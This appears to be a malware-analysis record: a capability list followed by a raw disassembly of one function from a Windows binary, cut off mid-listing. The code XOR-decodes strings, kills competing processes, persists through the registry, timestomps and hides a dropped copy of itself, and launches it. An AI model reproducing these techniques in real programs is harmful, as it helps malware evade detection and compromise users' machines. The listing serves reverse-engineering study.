Function at 0x40354a
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Delete file
Delete registry key
Delete registry value
Enumerate processes
Get common file path
Get file size
Get hostname
Get number of processors
Initialize winsock library
Link many functions at runtime
Query environment variable
Query or enumerate registry value
Read file on windows
Set file attributes
Set registry value
Shutdown system
Terminate process
Terminate process by name
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov eax, 0x1674
push edi
push esi
push ebx
call fcn.00405ba0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0xc], 0
call sub.KERNEL32.DLL_GetProcessHeap
push 0x40c0c0
mov dword [0x40c260], eax
mov dword [0x40c0c0], 0x94
call sub.KERNEL32.DLL_GetVersionExA
mov eax, 0x40aa73
cmp eax, 0x40aa79
jae 0x4035a8
xor byte [eax], 0xd4
inc eax
jmp 0x40359b
mov eax, 0x40aa66
cmp eax, 0x40aa72
jae 0x4035ba
xor byte [eax], 0xd4
inc eax
jmp 0x4035ad
push 0x40aa66
call sub.KERNEL32.DLL_LoadLibraryA
cmp dword [0x40c0d0], 2
mov ebx, eax
je 0x4035f6
mov eax, 0x40aa4f
cmp eax, 0x40aa65
jae 0x4035e1
xor byte [eax], 0xd4
inc eax
jmp 0x4035d4
push 0x40aa4f
push ebx
call sub.KERNEL32.DLL_GetProcAddress
test eax, eax
je 0x4035f6
push 1
push 0
call eax
push 0x104
lea eax, [esp + 0x1568]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
call sub.KERNEL32.DLL_GetCommandLineA
mov edx, 0x40aa73
call fcn.00401311
test eax, eax
je 0x4036fa
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [esp + 0x9c], eax
test eax, eax
je 0x40456f
call sub.KERNEL32.DLL_GetCurrentProcessId
mov dword [esp + 0x98], eax
lea eax, [esp + 0x9e4]
xor ebx, ebx
mov dword [esp + 0x9e4], 0x128
push eax
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x403690
mov eax, dword [esp + 0x98]
cmp dword [esp + 0x9ec], eax
je 0x4036e3
lea eax, [esp + 0x9e4]
push eax
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_Process32Next
jmp 0x403666
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
test ebx, ebx
je 0x40456f
push 0xffffffffffffffff
push ebx
call sub.KERNEL32.DLL_WaitForSingleObject
push ebx
call sub.KERNEL32.DLL_CloseHandle
lea ebx, [esp + 0xb24]
push ebx
call sub.KERNEL32.DLL_GetStartupInfoA
lea eax, [esp + 0xb14]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x1588]
push eax
jmp 0x40456a
push dword [esp + 0x9fc]
push 0
push 0x100000
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
jmp 0x403690
cmp dword [0x40c0d0], 2
mov eax, 0x40a9a3
jne 0x40391e
mov eax, 0x40aa3c
cmp eax, 0x40aa4e
jae 0x40371e
xor byte [eax], 0xd4
inc eax
jmp 0x403711
push 0x40aa3c
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40c230], eax
mov eax, 0x40aa32
cmp eax, 0x40aa3b
jae 0x403740
xor byte [eax], 0xd4
inc eax
jmp 0x403733
mov eax, 0x40aa1a
cmp eax, 0x40aa31
jae 0x403752
xor byte [eax], 0xd4
inc eax
jmp 0x403745
mov eax, 0x40aa05
cmp eax, 0x40aa19
jae 0x403764
xor byte [eax], 0xd4
inc eax
jmp 0x403757
mov eax, 0x40a9f4
cmp eax, 0x40aa04
jae 0x403776
xor byte [eax], 0xd4
inc eax
jmp 0x403769
mov eax, 0x40a9e1
cmp eax, 0x40a9f3
jae 0x403788
xor byte [eax], 0xd4
inc eax
jmp 0x40377b
push 0x40aa1a
push 0x40aa32
call sub.KERNEL32.DLL_LoadLibraryA
push eax
mov ebx, eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x40aa05
push ebx
mov dword [0x40c1f0], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x40a9f4
push ebx
mov dword [0x40c200], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x40a9e1
push ebx
mov dword [0x40c210], eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40c220], eax
test eax, eax
mov edx, eax
je 0x4037ea
lea eax, [esp + 0xa3]
push eax
push 0
push 1
push 0x14
call edx
mov eax, 0x40a9ce
cmp eax, 0x40a9e0
jae 0x4037fc
xor byte [eax], 0xd4
inc eax
jmp 0x4037ef
mov eax, 0x40a9b6
cmp eax, 0x40a9cd
jae 0x40380e
xor byte [eax], 0xd4
inc eax
jmp 0x403801
push 0x40a9ce
push ebx
call sub.KERNEL32.DLL_GetProcAddress
test eax, eax
mov esi, eax
je 0x403964
push 0x40a9b6
push ebx
call sub.KERNEL32.DLL_GetProcAddress
test eax, eax
mov edi, eax
je 0x403964
lea eax, [esp + 0x9c]
push eax
push 8
push 0xffffffffffffffff
call esi
test eax, eax
js 0x403964
lea esi, [esp + 0x98]
mov eax, 0x2000
push esi
push 0x2000
call fcn.00401000
push eax
mov ebx, eax
push 2
push dword [esp + 0xac]
call edi
test eax, eax
js 0x403909
mov dword [esp + 0x30], 0
mov ecx, dword [ebx]
cmp dword [esp + 0x30], ecx
jae 0x403909
mov edx, dword [esp + 0x30]
mov eax, dword [ebx + edx*8 + 8]
test al, 4
je 0x403900
test al, 0x10
jne 0x403900
mov edx, dword [ebx + edx*8 + 4]
movzx eax, byte [edx + 1]
mov eax, dword [edx + eax*4 + 4]
cmp eax, 0x220
je 0x4038be
ja 0x4038b7
cmp eax, 0x200
jmp 0x4038bc
cmp eax, 0x223
jne 0x403900
mov byte [esp + 0xb], 0
push esi
push 0x2000
push ebx
push 1
push dword [esp + 0xac]
mov byte [0x40c020], 1
call edi
test eax, eax
js 0x4038f3
mov eax, dword [ebx]
cmp byte [eax + 1], 1
jne 0x4038f3
cmp dword [eax + 8], 0x12
jne 0x4038f3
mov byte [esp + 0xb], 1
movzx edx, byte [esp + 0xb]
mov byte [0x40c010], dl
jmp 0x403909
inc dword [esp + 0x30]
jmp 0x403885
mov eax, ebx
call fcn.00401029
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x403964
cmp eax, 0x40a9b5
jae 0x40392b
xor byte [eax], 0xd4
inc eax
jmp 0x40391e
push 0x40a9a3
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov edx, eax
cmp dword [edx], 0xfff00068
je 0x403943
inc edx
jmp 0x403938
add edx, dword [edx + 7]
lea eax, [edx + 0xb]
mov dword [0x40c240], eax
mov eax, dword fs:[0x30]
mov dword [0x40c250], eax
call sub.KERNEL32.DLL_GetCurrentProcessId
xor dword [0x40c250], eax
lea eax, [esp + 0xb74]
push eax
push 2
call sub.WS2_32.DLL_WSAStartup
call sub.KERNEL32.DLL_GetTickCount
mov ebx, eax
call sub.KERNEL32.DLL_GetCurrentProcessId
xor ebx, eax
call sub.KERNEL32.DLL_GetCurrentThreadId
shl eax, 0x10
xor ebx, eax
mov eax, 0x40a996
mov dword [0x40c270], ebx
cmp eax, 0x40a9a2
jae 0x4039a3
xor byte [eax], 0xd4
inc eax
jmp 0x403996
push 0x40a996
call sub.KERNEL32.DLL_LoadLibraryA
test eax, eax
mov ebx, eax
je 0x4039d7
mov eax, 0x40a982
cmp eax, 0x40a995
jae 0x4039c5
xor byte [eax], 0xd4
inc eax
jmp 0x4039b8
push 0x40a982
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40c180], eax
jmp 0x4039e1
mov dword [0x40c180], 0
mov eax, 0x40a975
cmp eax, 0x40a981
jae 0x4039f3
xor byte [eax], 0xd4
inc eax
jmp 0x4039e6
push 0x40a975
call sub.KERNEL32.DLL_LoadLibraryA
test eax, eax
mov ebx, eax
je 0x403a27
mov eax, 0x40a966
cmp eax, 0x40a974
jae 0x403a15
xor byte [eax], 0xd4
inc eax
jmp 0x403a08
push 0x40a966
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40c190], eax
jmp 0x403a31
mov dword [0x40c190], 0
mov eax, 0x40a95d
cmp eax, 0x40a965
jae 0x403a43
xor byte [eax], 0xd4
inc eax
jmp 0x403a36
mov eax, 0x40a920
cmp eax, 0x40a95c
jae 0x403a55
xor byte [eax], 0xd4
inc eax
jmp 0x403a48
mov eax, 0x40a8c0
cmp eax, 0x40a907
jae 0x403a67
xor byte [eax], 0xd4
inc eax
jmp 0x403a5a
mov eax, 0x40a896
cmp eax, 0x40a8a1
jae 0x403a79
xor byte [eax], 0xd4
inc eax
jmp 0x403a6c
mov eax, 0x40a88a
cmp eax, 0x40a895
jae 0x403a8b
xor byte [eax], 0xd4
inc eax
jmp 0x403a7e
mov eax, 0x40a87e
cmp eax, 0x40a889
jae 0x403a9d
xor byte [eax], 0xd4
inc eax
jmp 0x403a90
push 0x40a87e
call sub.KERNEL32.DLL_LoadLibraryA
test eax, eax
mov ebx, eax
je 0x403b5d
mov eax, 0x40a870
cmp eax, 0x40a87d
jae 0x403ac3
xor byte [eax], 0xd4
inc eax
jmp 0x403ab6
mov eax, 0x40a85f
cmp eax, 0x40a86f
jae 0x403ad5
xor byte [eax], 0xd4
inc eax
jmp 0x403ac8
mov eax, 0x40a84e
cmp eax, 0x40a85e
jae 0x403ae7
xor byte [eax], 0xd4
inc eax
jmp 0x403ada
mov eax, 0x40a83b
cmp eax, 0x40a84d
jae 0x403af9
xor byte [eax], 0xd4
inc eax
jmp 0x403aec
mov eax, 0x40a827
cmp eax, 0x40a83a
jae 0x403b0b
xor byte [eax], 0xd4
inc eax
jmp 0x403afe
push 0x40a870
push ebx
call sub.KERNEL32.DLL_GetProcAddress
push 0x40a85f
push ebx
mov dword [0x40c1a0], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x40a84e
push ebx
mov dword [0x40c1b0], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x40a83b
push ebx
mov dword [0x40c1c0], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x40a827
push ebx
mov dword [0x40c1d0], eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40c1e0], eax
jmp 0x403b67
mov dword [0x40c1a0], 0
mov eax, 0x40a81c
cmp eax, 0x40a826
jae 0x403b79
xor byte [eax], 0xd4
inc eax
jmp 0x403b6c
mov eax, 0x40a812
cmp eax, 0x40a81b
jae 0x403b8b
xor byte [eax], 0xd4
inc eax
jmp 0x403b7e
mov eax, 0x40a804
cmp eax, 0x40a811
jae 0x403b9d
xor byte [eax], 0xd4
inc eax
jmp 0x403b90
mov eax, 0x40a7a0
cmp eax, 0x40a803
jae 0x403baf
xor byte [eax], 0xd4
inc eax
jmp 0x403ba2
mov eax, 0x40a791
cmp eax, 0x40a79b
jae 0x403bc1
xor byte [eax], 0xd4
inc eax
jmp 0x403bb4
mov eax, 0x40a786
cmp eax, 0x40a790
jae 0x403bd3
xor byte [eax], 0xd4
inc eax
jmp 0x403bc6
mov eax, 0x40a773
cmp eax, 0x40a785
jae 0x403be5
xor byte [eax], 0xd4
inc eax
jmp 0x403bd8
mov eax, 0x40a760
cmp eax, 0x40a772
jae 0x403bf7
xor byte [eax], 0xd4
inc eax
jmp 0x403bea
mov eax, 0x40a740
cmp eax, 0x40a75f
jae 0x403c09
xor byte [eax], 0xd4
inc eax
jmp 0x403bfc
mov eax, 0x40a737
cmp eax, 0x40a73c
jae 0x403c1b
xor byte [eax], 0xd4
inc eax
jmp 0x403c0e
mov eax, 0x40a732
cmp eax, 0x40a736
jae 0x403c2d
xor byte [eax], 0xd4
inc eax
jmp 0x403c20
mov eax, 0x40a71f
cmp eax, 0x40a731
jae 0x403c3f
xor byte [eax], 0xd4
inc eax
jmp 0x403c32
mov eax, 0x40a716
cmp eax, 0x40a71e
jae 0x403c51
xor byte [eax], 0xd4
inc eax
jmp 0x403c44
mov eax, 0x40a70d
cmp eax, 0x40a715
jae 0x403c63
xor byte [eax], 0xd4
inc eax
jmp 0x403c56
mov eax, 0x40a704
cmp eax, 0x40a70c
jae 0x403c75
xor byte [eax], 0xd4
inc eax
jmp 0x403c68
mov eax, 0x40a6f6
cmp eax, 0x40a703
jae 0x403c87
xor byte [eax], 0xd4
inc eax
jmp 0x403c7a
mov eax, 0x40a6ea
cmp eax, 0x40a6f5
jae 0x403c99
xor byte [eax], 0xd4
inc eax
jmp 0x403c8c
mov eax, 0x40a6e0
cmp eax, 0x40a6e9
jae 0x403cab
xor byte [eax], 0xd4
inc eax
jmp 0x403c9e
mov eax, 0x40a6d3
cmp eax, 0x40a6df
jae 0x403cbd
xor byte [eax], 0xd4
inc eax
jmp 0x403cb0
mov eax, 0x40a6c7
cmp eax, 0x40a6d2
jae 0x403ccf
xor byte [eax], 0xd4
inc eax
jmp 0x403cc2
mov eax, 0x40a680
cmp eax, 0x40a6c6
jae 0x403ce1
xor byte [eax], 0xd4
inc eax
jmp 0x403cd4
mov eax, 0x40a65c
cmp eax, 0x40a665
jae 0x403cf3
xor byte [eax], 0xd4
inc eax
jmp 0x403ce6
mov eax, 0x40a63f
cmp eax, 0x40a65b
jae 0x403d05
xor byte [eax], 0xd4
inc eax
jmp 0x403cf8
mov eax, 0x40a634
cmp eax, 0x40a63e
jae 0x403d17
xor byte [eax], 0xd4
inc eax
jmp 0x403d0a
mov eax, 0x40a62b
cmp eax, 0x40a633
jae 0x403d29
xor byte [eax], 0xd4
inc eax
jmp 0x403d1c
mov eax, 0x40a61f
cmp eax, 0x40a62a
jae 0x403d3b
xor byte [eax], 0xd4
inc eax
jmp 0x403d2e
mov eax, 0x40a616
cmp eax, 0x40a61e
jae 0x403d4d
xor byte [eax], 0xd4
inc eax
jmp 0x403d40
mov eax, 0x40a60f
cmp eax, 0x40a615
jae 0x403d5f
xor byte [eax], 0xd4
inc eax
jmp 0x403d52
mov eax, 0x40a5c0
cmp eax, 0x40a60e
jae 0x403d71
xor byte [eax], 0xd4
inc eax
jmp 0x403d64
mov eax, 0x40a560
cmp eax, 0x40a5b1
jae 0x403d83
xor byte [eax], 0xd4
inc eax
jmp 0x403d76
mov eax, 0x40a520
cmp eax, 0x40a549
jae 0x403d95
xor byte [eax], 0xd4
inc eax
jmp 0x403d88
mov eax, 0x40a4fc
cmp eax, 0x40a508
jae 0x403da7
xor byte [eax], 0xd4
inc eax
jmp 0x403d9a
mov eax, 0x40a4f0
cmp eax, 0x40a4fb
jae 0x403db9
xor byte [eax], 0xd4
inc eax
jmp 0x403dac
mov eax, 0x40a4e3
cmp eax, 0x40a4ef
jae 0x403dcb
xor byte [eax], 0xd4
inc eax
jmp 0x403dbe
mov eax, 0x40a4d7
cmp eax, 0x40a4e2
jae 0x403ddd
xor byte [eax], 0xd4
inc eax
jmp 0x403dd0
mov eax, 0x40a4c8
cmp eax, 0x40a4d6
jae 0x403def
xor byte [eax], 0xd4
inc eax
jmp 0x403de2
mov eax, 0x40a4bc
cmp eax, 0x40a4c7
jae 0x403e01
xor byte [eax], 0xd4
inc eax
jmp 0x403df4
mov eax, 0x40a480
cmp eax, 0x40a4bb
jae 0x403e13
xor byte [eax], 0xd4
inc eax
jmp 0x403e06
mov eax, 0x40a468
cmp eax, 0x40a470
jae 0x403e25
xor byte [eax], 0xd4
inc eax
jmp 0x403e18
mov eax, 0x40a45a
cmp eax, 0x40a467
jae 0x403e37
xor byte [eax], 0xd4
inc eax
jmp 0x403e2a
mov eax, 0x40a44c
cmp eax, 0x40a459
jae 0x403e49
xor byte [eax], 0xd4
inc eax
jmp 0x403e3c
mov eax, 0x40a42e
cmp eax, 0x40a44b
jae 0x403e5b
xor byte [eax], 0xd4
inc eax
jmp 0x403e4e
mov eax, 0x40a423
cmp eax, 0x40a42d
jae 0x403e6d
xor byte [eax], 0xd4
inc eax
jmp 0x403e60
mov eax, 0x40a400
cmp eax, 0x40a422
jae 0x403e7f
xor byte [eax], 0xd4
inc eax
jmp 0x403e72
mov eax, 0x40a3de
cmp eax, 0x40a3e8
jae 0x403e91
xor byte [eax], 0xd4
inc eax
jmp 0x403e84
mov eax, 0x40a3d0
cmp eax, 0x40a3dd
jae 0x403ea3
xor byte [eax], 0xd4
inc eax
jmp 0x403e96
mov eax, 0x40a3c6
cmp eax, 0x40a3cf
jae 0x403eb5
xor byte [eax], 0xd4
inc eax
jmp 0x403ea8
mov eax, 0x40a3b9
cmp eax, 0x40a3c5
jae 0x403ec7
xor byte [eax], 0xd4
inc eax
jmp 0x403eba
mov eax, 0x40a3ac
cmp eax, 0x40a3b8
jae 0x403ed9
xor byte [eax], 0xd4
inc eax
jmp 0x403ecc
mov eax, 0x40a3a4
cmp eax, 0x40a3ab
jae 0x403eeb
xor byte [eax], 0xd4
inc eax
jmp 0x403ede
mov eax, 0x40a39c
cmp eax, 0x40a3a3
jae 0x403efd
xor byte [eax], 0xd4
inc eax
jmp 0x403ef0
mov eax, 0x40a360
cmp eax, 0x40a39b
jae 0x403f0f
xor byte [eax], 0xd4
inc eax
jmp 0x403f02
mov eax, 0x40a2e0
cmp eax, 0x40a350
jae 0x403f21
xor byte [eax], 0xd4
inc eax
jmp 0x403f14
mov eax, 0x40a2b5
cmp eax, 0x40a2c3
jae 0x403f33
xor byte [eax], 0xd4
inc eax
jmp 0x403f26
mov eax, 0x40a2b0
cmp eax, 0x40a2b4
jae 0x403f45
xor byte [eax], 0xd4
inc eax
jmp 0x403f38
mov eax, 0x40a2a5
cmp eax, 0x40a2af
jae 0x403f57
xor byte [eax], 0xd4
inc eax
jmp 0x403f4a
mov eax, 0x40a260
cmp eax, 0x40a2a5
jae 0x403f69
xor byte [eax], 0xd4
inc eax
jmp 0x403f5c
mov eax, 0x409c60
cmp eax, 0x40a260
jae 0x403f7b
xor byte [eax], 0xd4
inc eax
jmp 0x403f6e
mov eax, 0x408860
cmp eax, 0x409c60
jae 0x403f8d
xor byte [eax], 0xd4
inc eax
jmp 0x403f80
cmp dword [0x40c0d0], 2
lea ebx, [esp + 0xd04]
jne 0x403faf
push 0xf2
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x40a71f
jmp 0x403fbf
push 0xfe
push ebx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x40a72b
push ebx
call sub.KERNEL32.DLL_lstrcatA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x157c]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404054
cmp eax, 0xffffffff
je 0x404054
push 2
push 0
push 0xfffffffffffffff4
push eax
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea ebx, [esp + 0x9c]
push ebx
push 4
push 0x40c0a0
push dword [esp + 0xac]
call sub.KERNEL32.DLL_ReadFile
push 0
push ebx
push 4
push 0x40c090
push dword [esp + 0xac]
call sub.KERNEL32.DLL_ReadFile
push 0
push ebx
push 4
push 0x40c0b0
push dword [esp + 0xac]
call sub.KERNEL32.DLL_ReadFile
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x404072
mov dword [0x40c0b0], 0
mov dword [0x40c0a0], 0
mov dword [0x40c090], 0
push 0x40a812
lea eax, [esp + 0x1568]
call fcn.004010dc
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
sete al
movzx eax, al
mov dword [esp + 0x1c], eax
mov eax, 0x40884e
cmp eax, 0x408858
jae 0x4040a7
xor byte [eax], 0xd4
inc eax
jmp 0x40409a
mov eax, 0x408800
cmp eax, 0x40884d
jae 0x4040b9
xor byte [eax], 0xd4
inc eax
jmp 0x4040ac
mov eax, 0x4087d8
cmp eax, 0x4087e5
jae 0x4040cb
xor byte [eax], 0xd4
inc eax
jmp 0x4040be
mov dword [esp + 0x30], 1
push dword [esp + 0x30]
push str._02X
push 0x408856
call sub.USER32.dll_wsprintfA
push 0x40884e
push 1
push 0x4087b8
call sub.KERNEL32.DLL_CreateMutexA
mov dword [esp + 0x1c], eax
add esp, 0xc
test eax, eax
je 0x4043aa
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x40439a
cmp dword [esp + 0x30], 0xe
jg 0x40437a
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
test eax, eax
mov ebp, eax
je 0x40428b
lea eax, [esp + 0x1f4]
call fcn.00403305
mov dword [esp + 4], eax
test eax, eax
je 0x40417b
push 0x40a3d0
push eax
call sub.ADVAPI32.DLL_RegDeleteValueA
push dword [esp + 4]
call sub.ADVAPI32.DLL_RegCloseKey
lea esi, [esp + 0x216]
lea edx, [esp + 0x31a]
cmp esi, edx
jae 0x40417b
movzx eax, byte [esp + 0x1f4]
xor byte [esi], al
inc esi
jmp 0x40416a
call sub.KERNEL32.DLL_GetCurrentProcessId
mov dword [esp + 0x424], 0x128
mov ebx, eax
lea eax, [esp + 0x424]
push eax
xor edi, edi
push ebp
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40420a
cmp dword [esp + 0x42c], ebx
je 0x4041fa
push 0x40a812
lea eax, [esp + 0x44c]
call fcn.004010dc
push eax
mov esi, eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
je 0x4041d6
push 0x40a81c
push esi
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
jne 0x4041fa
push dword [esp + 0x42c]
push 0
push 0x100201
call sub.KERNEL32.DLL_OpenProcess
mov dword [esp + edi*4 + 0x554], eax
test eax, eax
je 0x4041fa
inc edi
cmp edi, 9
ja 0x40420a
lea eax, [esp + 0x424]
push eax
push ebp
call sub.KERNEL32.DLL_Process32Next
jmp 0x40419d
push ebp
xor ebx, ebx
call sub.KERNEL32.DLL_CloseHandle
cmp ebx, edi
jge 0x404227
push 0x40
push dword [esp + ebx*4 + 0x558]
inc ebx
call sub.KERNEL32.DLL_SetPriorityClass
jmp 0x404212
mov esi, 4
xor ebx, ebx
cmp ebx, edi
jge 0x404243
push 0
push dword [esp + ebx*4 + 0x558]
inc ebx
call sub.KERNEL32.DLL_TerminateProcess
jmp 0x40422e
dec esi
jns 0x40422c
xor ebx, ebx
cmp ebx, edi
jge 0x40426c
push 0x1388
push dword [esp + ebx*4 + 0x558]
call sub.KERNEL32.DLL_WaitForSingleObject
push dword [esp + ebx*4 + 0x554]
inc ebx
call sub.KERNEL32.DLL_CloseHandle
jmp 0x404248
cmp dword [esp + 4], 0
je 0x40428b
push pe_nt_image_headers32
lea ebx, [esp + 0x21a]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push ebx
call sub.KERNEL32.DLL_DeleteFileA
cmp dword [esp + 0x30], 0xb
jg 0x4043a1
lea eax, [esp + 0x94]
push eax
push 0x20019
push 0
push 0x408800
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x4043a1
mov dword [esp + 0x2c], 0
push 0
lea eax, [esp + 0x94]
push eax
push 0x4087b8
push 0xf003f
push 0
push 0
push 0
push 0x408800
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x40436c
mov dword [esp + 0x98], 0x12
lea eax, [esp + 0x98]
push eax
push 0x40c160
push 0
push 0
push 0x4087d8
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x40434a
push 0x12
push 0x40c160
push 3
push 0
push 0x4087d8
push dword [esp + 0xa4]
call sub.ADVAPI32.DLL_RegSetValueExA
test eax, eax
sete al
movzx eax, al
mov dword [esp + 0x2c], eax
push dword [esp + 0x90]
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [esp + 0x2c], 0
jne 0x40436c
push 0x408800
push 0x80000002
call sub.ADVAPI32.DLL_RegDeleteKeyA
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
jmp 0x4043a1
lea eax, [esp + 0xd04]
call fcn.004014f6
cmp dword [esp + 0x1c], 0
jne 0x40456f
push 0
call fcn.00402886
jmp 0x4043a1
cmp dword [esp + 0x30], 0xe
jg 0x4043b3
push dword [esp + 0x10]
call sub.KERNEL32.DLL_CloseHandle
inc dword [esp + 0x30]
jmp 0x4040d3
push 0x104
lea ebx, [esp + 0x1348]
push ebx
push 0x40a65c
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
test eax, eax
je 0x404423
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
cmp eax, 0xffffffff
mov edx, eax
je 0x404423
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push edx
call sub.KERNEL32.DLL_GetFileTime
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
mov dword [esp + 0xc], 1
cmp dword [esp + 0x1c], 0
jne 0x40457d
push 0xfa
lea ebx, [esp + 0x1458]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x40a812
push 0x40b041
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_lstrcatA
lea esi, [esp + 0x1564]
mov edx, ebx
mov eax, esi
call fcn.004010f7
test eax, eax
jne 0x4044df
push 0x104
push ebx
push 0x40a812
push 0x40a63f
lea edi, [esp + 0x1354]
push edi
call sub.KERNEL32.DLL_lstrcpyA
push eax
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
test eax, eax
je 0x4044a4
mov edx, ebx
mov eax, esi
call fcn.004010f7
test eax, eax
jne 0x4044df
push 0x104
push ebx
push 0x40a812
push 0x40a634
push edi
call sub.KERNEL32.DLL_lstrcpyA
push eax
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
test eax, eax
je 0x404576
mov edx, ebx
mov eax, esi
call fcn.004010f7
test eax, eax
je 0x404576
cmp dword [esp + 0xc], 0
je 0x40452d
push 0
push 0
push 3
push 0
push 1
push 0x80000100
lea eax, [esp + 0x146c]
push eax
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
mov ebx, eax
je 0x40452d
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push ebx
call sub.KERNEL32.DLL_SetFileTime
push ebx
call sub.KERNEL32.DLL_CloseHandle
push 0x21
lea esi, [esp + 0x1458]
push esi
call sub.KERNEL32.DLL_SetFileAttributesA
push dword [esp + 0x10]
call sub.KERNEL32.DLL_CloseHandle
lea ebx, [esp + 0xb24]
push ebx
call sub.KERNEL32.DLL_GetStartupInfoA
lea eax, [esp + 0xb14]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call sub.KERNEL32.DLL_CreateProcessA
push 0
call sub.KERNEL32.DLL_ExitProcess
mov byte [section..bss], 1
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x157c]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x4045e5
cmp eax, 0xffffffff
je 0x4045e5
push 0
push eax
call sub.KERNEL32.DLL_GetFileSize
mov ebp, eax
call fcn.00401000
mov dword [esp + 0x14], eax
push 0
lea eax, [esp + 0x9c]
push eax
push ebp
push dword [esp + 0x20]
push dword [esp + 0xac]
call sub.KERNEL32.DLL_ReadFile
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x4045ef
mov dword [esp + 0x14], 0
xor ebp, ebp
lea eax, [esp + 0x98]
push eax
push 0
lea eax, [esp + 0x156c]
push eax
push 0x401038
push 0x1000
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, 0x408760
cmp eax, 0x4087b6
jae 0x40462a
xor byte [eax], 0xd4
inc eax
jmp 0x40461d
mov eax, 0x408740
cmp eax, 0x408749
jae 0x40463c
xor byte [eax], 0xd4
inc eax
jmp 0x40462f
mov eax, 0x407b40
cmp eax, 0x408740
jae 0x40464e
xor byte [eax], 0xd4
inc eax
jmp 0x404641
cmp dword [0x40c0d0], 2
jne 0x4048a8
lea eax, [esp + 0x94]
push eax
push 0x408760
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x4048a8
push 0x104
lea ebx, [esp + 0x1238]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x408740
push 0x40b041
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_lstrcatA
mov eax, 0x407b00
cmp eax, 0x407b26
jae 0x4046b4
xor byte [eax], 0xd4
inc eax
jmp 0x4046a7
push 0x407b00
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x4046e6
push 0x2710
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x4046f0
push 0x7d0
call sub.KERNEL32.DLL_Sleep
push pe_nt_image_headers32
lea ebx, [esp + 0x1238]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x40489c
cmp eax, 0xffffffff
je 0x40489c
push 0
lea edx, [esp + 0x9c]
push edx
push 0xc00
push 0x407b40
push eax
